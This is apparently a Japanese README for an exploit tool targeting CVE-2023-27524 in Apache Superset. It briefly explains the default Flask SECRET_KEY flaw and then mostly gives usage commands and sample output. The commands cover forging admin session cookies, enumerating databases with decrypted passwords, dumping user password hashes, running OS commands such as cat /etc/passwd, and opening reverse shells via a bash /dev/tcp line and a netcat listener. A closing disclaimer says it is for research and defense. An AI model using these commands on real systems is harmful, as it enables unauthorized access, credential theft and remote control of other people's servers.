
CVE-2023-27524のエクスプロイト。Apache Supersetの認証バイパスとRCEを対象とする。セッションクッキーを偽造し、データベース/ユーザーを列挙し、OSコマンドを実行し、脆弱なインスタンス上でリバースシェルを開きます。
Apache Supersetは、データの可視化と探索に広く使われているオープンソースツールですが、認証バイパスやリモートコード実行(RCE)につながる可能性のあるセキュリティ上の脆弱性が確認されています。これらの脆弱性により、悪意のある攻撃者が標的のサーバー上で管理者権限を取得し、ユーザー認証情報を収集し、データを侵害する可能性があります。
問題となっている具体的なセキュリティ問題は、CVE-2023-27524として参照される安全でないデフォルト設定の脆弱性です。
根本原因はインストール時に設定される予測可能なFlask Secret Keyにあり、露出した多数のApache Supersetインスタンスに影響を与えています。いくつかの緩和策は取られていますが、設定を更新していない組織にとっては依然として重大な懸念事項です。
この問題はRCEにエスカレーションされる可能性があります。本エクスプロイトは、元のエクスプロイトにこの機能を追加したものです。
公式脆弱性の説明:
Apache Superset バージョン2.0.1以前におけるセッション検証攻撃。インストール手順に従ってデフォルト設定のSECRET_KEYを変更していないインストールでは、攻撃者が認証し、許可されていないリソースにアクセスできる可能性があります。これはSECRET_KEY設定のデフォルト値を変更したSuperset管理者には影響しません。
このエクスプロイトスクリプトは、vsocietyでのCVE分析のために作成されました。
PIPパッケージのインストール:
pip3 install -r requirements.txt
使用方法:
usage: exploit.py [-h] --url URL [--id ID] [--wordlist WORDLIST] [--validate] [--enum-dbs] [--enum-users] [--cmd CMD]
[--revshell REVSHELL] [--db-host]
options:
-h, --help show this help message and exit
--url URL, -u URL Host URL
--id ID User ID to forge session cookie for. Default=1
--wordlist WORDLIST, -w WORDLIST
Specify a wordlist file (default is 10.txt)
--validate, -v Validate the presence of vulnerability by login attempt
--enum-dbs, -dbs Enumerate databases
--enum-users, -eu Enumerate databases
--cmd CMD, -c CMD Run custom OS command on the database's server.
--revshell REVSHELL Specify IP:Port for reverse shell
--db-host Run commands or open reverse shell on the database server
# python3 exploit.py --url http://localhost:8088 -v -w 10k_most_common_passwords.txt
[+] Session cookie found.
[+] Decoded session cookie: <REDACTED>
[+] Using '10k_most_common_passwords.txt' as a wordlist.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
[+] Forged session cookie for user 1: <REDACTED>
[+] Superset Version: 2.0.1
[+] Login successful. Vulnerability is validated.
# python3 exploit.py -u http://localhost:8088 --enum-dbs
[+] Session cookie found.
[+] Decoded session cookie:
{'csrf_token': '5d4c9ad6caf94bc1c652b0fc8e8739d19c45c05a', 'locale': 'en'}
[+] Using default secret keys.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] Forged session cookie for user 1:
eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsQ6Q.nKTBZiUq-Cu0iWSLQIUtB2W9HnM
[+] Version 2.0.1 seems vulnerable.
[+] Enumerating databases via API...
[+] Found database: "examples" with password "superset".
[+] Found database: "SQLite".
[+] Enumerating database connection data and cracking password if possible...
+-----------------+---------------------------------------------------+--------------------------+----------------------+
| database_name | sqlalchemy_uri | password | decrypted_password |
|-----------------+---------------------------------------------------+--------------------------+----------------------|
| examples | postgresql://superset:XXXXXXXXXX@db:5432/superset | MAqp6AIikZpDM5bMH4MMgA== | superset******** |
| SQLite | sqlite+pysqlite:////app/superset_home/superset.db | | |
+-----------------+---------------------------------------------------+--------------------------+----------------------+
[+] Process of enumerating databases finished.
# python3 exploit.py -u http://localhost:8088 --enum-users
[+] Session cookie found.
[+] Decoded session cookie:
{'csrf_token': '2a3adb09bac36c330a77c74da1cca27c431779e8', 'locale': 'en'}
[+] Using default secret keys.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] Forged session cookie for user 1:
eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsRCQ.qeci7JgO5Lb4AwexB0Qojp5RDbs
[+] Version 2.0.1 seems vulnerable.
[+] Checking existing metadata database connection...
[+] Settings of database with id 1 were successfully modified.
[+] Settings of database with id 2 were successfully modified.
[+] Superset metadata connection is already added with id 2.
[+] Trying to enumerate Superset users...
[+] RESULT:
+------------+--------------------------------------------------------------------------------------------------------+
| username | password |
|------------+--------------------------------------------------------------------------------------------------------|
| admin | pbkdf2:sha256:260000$z5y5YnluWzyx4kd2$33c40dfefdea9aedef6ed171a941492516ba49c1ed8ed740d7e05446ce639c0e |
+------------+--------------------------------------------------------------------------------------------------------+
Supersetサーバー上:
# python3 exploit.py --url http://localhost:8088 --cmd 'bash -i >& /dev/tcp/<IP>/4242 0>&1'
この場合、出力はまだ表示できないことに注意してください。
DBサーバー上:
# python3 exploit.py -u http://localhost:8088 --cmd 'cat /etc/passwd' --db-host
[+] Session cookie found.
[+] Decoded session cookie:
{'csrf_token': 'c2154d7077f507bd69c791f9d6de49115ba290a3', 'locale': 'en'}
[+] Using default secret keys.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] Forged session cookie for user 1:
eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsRMw.haTjE2XBuVjamMvsdg7SemBr3Ig
[+] Version 2.0.1 seems vulnerable.
[+] Trying to run command on the database server...
[+] Settings of database with id 1 were successfully modified.
[+] $ cat /etc/passwd
+-----------------------------------------------------------------------------------+
| cmd_output |
|-----------------------------------------------------------------------------------|
| root:x:0:0:root:/root:/bin/bash |
| daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| <REDACTED> |
| postgres:x:999:999::/var/lib/postgresql:/bin/bash |
+-----------------------------------------------------------------------------------+
Supersetサーバー上:
# Terminal 1
nc -lvnp [PORT]
# Terminal 2
python3 exploit.py -u http://localhost:8088 --revshell [IP]:[PORT]
DBサーバー上:
# Terminal 1
nc -lvnp [PORT]
# Terminal 2
python3 exploit.py -u http://localhost:8088 --revshell [IP]:[PORT] --db-host
このエクスプロイトスクリプトは、研究および効果的な防御技術の開発のみを目的として作成されています。悪意のある行為や許可されていない活動に使用することを意図していません。作者およびスクリプトの所有者は、本ソフトウェアの誤用または損害に対する一切の責任を負いません。ユーザーは、本ソフトウェアを責任を持って、適用される法律および規制に従ってのみ使用するよう強く推奨されます。責任を持って使用してください。